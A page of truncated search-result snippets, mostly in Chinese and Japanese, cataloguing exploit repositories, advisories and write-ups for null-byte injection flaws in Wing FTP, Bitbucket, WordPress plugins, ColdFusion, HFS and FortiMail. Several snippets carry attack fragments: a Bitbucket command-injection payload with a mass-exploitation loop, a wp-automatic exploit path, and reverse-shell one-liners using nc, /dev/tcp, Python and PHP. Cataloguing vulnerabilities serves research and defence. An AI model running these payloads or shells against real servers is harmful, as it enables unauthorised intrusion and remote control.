Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – Wing FTP Server 中的严重 RCE 漏洞 🛡️ 🔎 概述： CVE-2025-47812 是一个影响 7.4.4 版本之前 Wing FTP Server 的严重远程代码执行 RCE 漏洞。该漏洞由一名安全研究人员发现，并已被确认在野外被积极利用 。 🧱 根本原因： 该漏洞存在于 Wing FTP Server 的身份验证逻辑 中，具体在于其处理 username 参数中的空字节 \0 的方式。 攻击者可以通过用户名字段注入任意 Lua 代码 ，服务器会将其写入会话文件。当后续处理该会话文件时，注入的 Lua 代码会被执行...

CVE-2024-27956

CVE-2024-27956 注意 WordPressを構築: docker-compose -f stack.yml up プラグインのインストール: 1. WordPressダッシュボードで、プラグイン 新規追加 を選択 2. プラグインのアップロード をクリック 3. ファイルを選択 - wp-automatic.zip - 今すぐインストール 4. インストールが完了したら、プラグインを有効化 をクリック エクスプロイト /wp-content/plugins/wp-automatic/inc/csv.php q=query&auth=%00&integ=md5query...

CVE-2022-36804-POC

CVE-2022-36804-POC 🕷️ Bitbucket CVE-2022-36804 認証なしリモートコマンド実行 悪用方法 公開可視リポジトリを見つける - example.com/repos?visibility=public /rest/api/latest/projects/project-path/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin 大量悪用 for url in $cat hosts.txt | httpx...

CVE-2006-2842

バッジ ライセンス MIT インストール npmでcve-2006-2842をインストール npm install cve-2006-2842 -g 使い方 単一URLの例 cve-2006-2842 -u http://example.com 使い方 URLリストの例 cve-2006-2842 -l urls.txt -o out.txt スクリーンショット ヘルプメニュー すべての項目を取得 👋 Hey karthithehacker .-----------------------------. | Tool : CVE-2006-2842 💉 | | Author :...

st2-046-poc

Struts2 Content-Disposition ファイル名の nullバイト バリアント CVE-2017-5638 Struts2 Security Bulletin S2-046 リクエストの Content-Disposition ヘッダの filename フィールドに null バイト \x00 が含まれると、InvalidFileNameException が同じ（クライアントが制御する）ファイル名文字列でトリガーされ、その例外メッセージがエラー処理中に OGNL 評価を引き起こす可能性があります。これは、元の Content-Type ベクター（S2-045 で報告...

CVE-2009-2265

CVE-2009-2265 - Adobe ColdFusion 8 文件上传远程代码执行 这是针对 Adobe ColdFusion 8 的 CVE-2009-2265 漏洞利用 POC 的 Rust 实现。 漏洞概述 该漏洞允许未认证的攻击者向运行 Adobe ColdFusion 8 的服务器上的 Web 可访问目录上传任意文件，从而导致远程代码执行（RCE）。 技术细节 漏洞 ：通过空字节注入进行的目录遍历 组件 ：FCKeditor upload.cfm 连接器 参数 ：CurrentFolder 影响 ：远程代码执行（RCE） 受影响软件 ：Adobe ColdFusion...

CVE-2016-6187_LPE

CVE-2016-6187 - Linuxカーネルエクスプロイト CVE-2016-6187 のカーネルエクスプロイト ローカル特権昇格 影響を受けるバージョン: 4.6.5 エクスプロイトはカスタムコンパイルされた 4.6 カーネル + buildroot に対して開発されました kconfig は近日公開予定。KASLR、SMEP、SMAP を回避します KPTI は 4.6 では利用不可 プレゼンテーションスライド 脆弱性の詳細 悪用される脆弱性は、AppArmor の LSM フック setprocattr の1つにおける、ヒープベースの単一ヌルバイトオーバーフローです。詳細:...

CVE-2014-6287

CVE-2014-6287 - Rejetto HTTP 文件服务器 RCE 利用工具 一个用 Rust 实现的 CVE-2014-6287 漏洞利用工具，针对 Rejetto HTTP 文件服务器（HFS）2.3x 版本（低于 2.3c）。 漏洞概述 CVE-2014-6287 是 Rejetto HTTP 文件服务器（HFS）中的一个严重远程代码执行漏洞。 技术细节 受影响软件 ：Rejetto HTTP 文件服务器（HFS）2.3x 版本（低于 2.3c） 漏洞类型 ：远程代码执行（RCE） CVSS 评分 ：10.0（严重） CWE ：CWE-94（代码生成控制不当） 描述...

CVE-2025-47812

CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...' FIFO + Netcat: rm /tmp/f; mkfifo...

SharpHide

SharpHide DFIR調査を混乱させるための、ちょっとした永続化トリックです。 NtSetValueKeyネイティブAPIを使用して、隠し（null終端）レジストリキーを作成します。 これは、UNICODESTRINGキー値名の前にnullバイトを追加することで機能します。 このテクニックの詳細については、以下のホワイトペーパーを参照してください： https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValuesWhitepaper.pdf...

CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC

CVE-2025-47812 — Wing FTP Server Wing FTP Server whoami root 参考 CVE-2025-47812 Wing FTP Server 7.4.4 发布 修复 原作者 PoC by 4m3rr0r 致谢 发现与原始漏洞利用： Sheikh Mohammad Hasan 又名 4m3rr0r 清理与简化： Esteban Zárate...

Lack of vulnerability protection in Fortinet FortiMail

Fortinet has identified a vulnerability in FortiMail. FortiMail contains a critical vulnerability CVE-2026-104286 in the processing of file paths, caused by a combination of Path Traversal CWE-22 and insufficient neutralization of NULL bytes CWE-158. An unauthorized attacker can use specially...

Critical FortiMail Zero-Day Flaw Exploited in Attacks Allows Unauthenticated Arbitrary File Writes

The U.S. Cybersecurity and Infrastructure Security Agency CISA, on Thursday, added a critical security flaw impacting Fortinet FortiMail to its Known Exploited Vulnerabilities KEV catalog, following reports of active exploitation. The vulnerability, tracked as CVE-2026-104286 CVSS score: 9.8,...

Control Web Panel (CWP) - File Inclusion

In CWP Control Web Panel, previously CentOS Web Panel before version 0.9.8.1107, an unauthenticated attacker can abuse null byte %00 injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 TryHackMe.comのSteel Mountainボックスの攻略記とCVE-2014-6287のエクスプロイト クレジット 私はこの脆弱性の原本の発見および悪用に対して一切の功績を主張しません。以下の方々に感謝します！ 発見: Daniele Linguaglossa Metasploitモジュール作成者: Muhamad Fadzil Ramli TryHackMeルームと作者: https://tryhackme.com/room/steelmountain...

Orbit-Fox_SSRF_CVE-2025-10874

CVE-2025-10874 - Orbit Fox SSRF 概念验证 概念验证漏洞利用，演示 Orbit Fox WordPress 插件中存在的服务器端请求伪造（SSRF）漏洞，并利用空字节注入绕过。 详细博客文章：https://ryanmroth.com/articles/orbit-fox-ssrf 漏洞详情 详情| 说明 ---|--- CVE ID：| CVE-2025-10874 受影响插件：| ThemeIsle 的 Orbit Fox 漏洞类型：| 服务器端请求伪造（SSRF）（CWE-918） CVSS 评分：| 5.5（中危） 所需权限：|...

PoC-CVE-2026-1357

PoC CVE-2026-1357：WPvivid Backup & Migration WordPress 的 Migration, Backup, Staging – WPvivid Backup & Migration 插件在 0.9.123 及更早版本中存在未认证的任意文件上传漏洞。该漏洞源于 RSA 解密过程中的错误处理不当，以及在写入上传文件时缺乏路径清理。当插件使用 opensslprivatedecrypt 解密会话密钥失败时，它不会终止执行，而是将布尔值 false 传递给 phpseclib 库的 AES 密码初始化。该库将此 false...

Rocky Linux 9 [CIQ] Security Update: libsoup / libsoup-debuginfo / libsoup-debugsource / libsoup-devel Multiple Vulnerabilities (crlsa-2024_9559)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20249559 advisory. libsoup: infinite loop while reading websocket data CVE-2024-52532 libsoup: HTTP request smuggling via stripping null bytes from the ends of header names...

Fortinet FortiMail Path Traversal Vulnerability

Fortinet FortiMail contains a path traversal and an improper neutralization of NULL byte or NULL character vulnerability that may allow an unauthenticated attacker to write arbitrary files on the underlying system via crafted HTTP or HTTPS requests...

CVE-2009-2265-fix

CVE-2009-2265 - Adobe ColdFusion 远程代码执行 通过 ColdFusion 捆绑的 FCKeditor 组件中的任意文件上传实现未经身份验证的远程代码执行。文件上传端点接受 filename 参数中的空字节注入，允许上传 JSP webshell 并由服务器直接执行。 受影响版本 版本| 状态 ---|--- ColdFusion 8.0| 受影响 ColdFusion 8.0.1| 受影响 ColdFusion 9.0| 受影响 ColdFusion MX 6.x| 受影响 ColdFusion MX 7.x| 受影响 ColdFusion 9.0.1+...